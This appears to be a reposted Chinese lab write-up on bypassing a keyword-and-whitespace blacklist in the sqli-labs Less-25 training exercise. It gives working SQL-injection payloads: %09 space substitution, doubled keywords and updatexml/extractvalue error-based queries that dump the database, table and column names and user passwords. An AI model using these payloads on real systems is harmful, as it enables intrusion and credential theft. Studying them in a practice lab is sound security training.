SQL注入 空格转换为空绕过

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入 空格转换为空绕过相关的知识,希望对你有一定的参考价值。

SQL注入 空格转换为空绕过

一、基础知识

1.preg_replace函数
preg_replace(mixed $pattern,mixed $replacement,mixed $subject):执行一个正则表达式的搜索和替换。
$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串组。
$subject:要搜索替换的目标字符串或字符串数组


function blacklist($id)

	$id= preg_replace('/or/i',"", $id);			//or替换为空
	$id= preg_replace('/and/i',"", $id);		//and替换为空
	$id= preg_replace('/[\\/\\*]/',"", $id);		//(/*)替换为空
	$id= preg_replace('/[--]/',"", $id);		//(--)替换为空
	$id= preg_replace('/[#]/',"", $id);			//(#)替换为空
	$id= preg_replace('/[\\s]/',"", $id);		//替换空格
	$id= preg_replace('/[\\/\\\\\\\\]/',"", $id);		//替换反斜杠
	return $id;


2.编码方式
编码:hex,urlencode 空格URL编码%0a %09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)

二、实战渗透

1.以sqli-labs-less25为例,经过前面的解读,我们已经知道过滤了空格and,or,/*,#,--,\\
使用%09进行空格绕过

1'%09||'1

2.万能模板注入

?id=1' or '1'='1

1.方法一(updatexml报错注入)

1.使用||绕过空格,爆库

1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1


2.爆破数据表

?id=1'||updatexml(1,concat(0x7e,(select  (group_concat(table_name)) from  (infoorrmation_schema.tables) where (table_schema = 0x7365637572697479))),1)||'1'='1


3.爆破字段名

?id=1'||updatexml(1,concat(0x7e,(select  (group_concat(column_name)) from  (infoorrmation_schema.columns) where (table_name = 0x7573657273))),1)||'1'='1


4.爆破字段内容

1'||updatexml(1,concat(0x7e,(select  (group_concat(id,username,passwoorrd)) from (security.users))),1)||'1'='1

2.方法二(extractvalue报错注入)

1.爆破数据库
使用双写绕过orand;
使用括号绕过空格

?id=1'oorr(extractvalue(1,concat(0x7e,(select(database())),0x7e)))anandd '1'='1


2.爆破数据表

?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where (table_schema=database())),0x7e)))anandd '1'='1


3.爆破字段名

?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where (table_schema='security')anandd(table_name='users')),0x7e)))anandd '1'='1


4.爆破字段内容

?id=1'oorr(extractvalue(1,concat(0x7e,(select (group_concat(id,username,passwoorrd))from(users)),0x7e)))anandd '1'='1


至此,成功获取用户名和密码。

以上是关于SQL注入 空格转换为空绕过的主要内容,如果未能解决你的问题,请参考以下文章

记录一次sql注入绕过

实战绕过两层waf完成sql注入

sql注入 form过滤怎么绕过

SQL注入绕过技巧

黑客常用SQL注入绕过技术总结!

SQL注入绕过技巧